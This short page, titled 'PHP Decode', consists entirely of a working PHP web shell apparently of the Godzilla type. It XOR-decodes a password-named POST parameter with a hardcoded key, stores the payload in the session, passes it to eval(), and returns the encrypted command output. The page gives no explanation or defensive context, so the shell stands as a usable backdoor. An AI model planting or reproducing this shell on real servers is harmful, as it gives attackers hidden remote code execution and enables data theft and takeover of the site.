PHP Decode

<?php @session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;}$pass='gafwA';$payloadName='payload';$key='f5e68ea4b40808c8';if (isset($_POST[$pass])){$data=encode(base64_decode($_POST[$pass]),$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if (strpos($payload,getBasicsInfo)===false){$payload=encode($payload,$key);}eval($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (strpos($data,getBasicsInfo)!==false){$_SESSION[$payloadName]=encode($data,$key);}}} ?>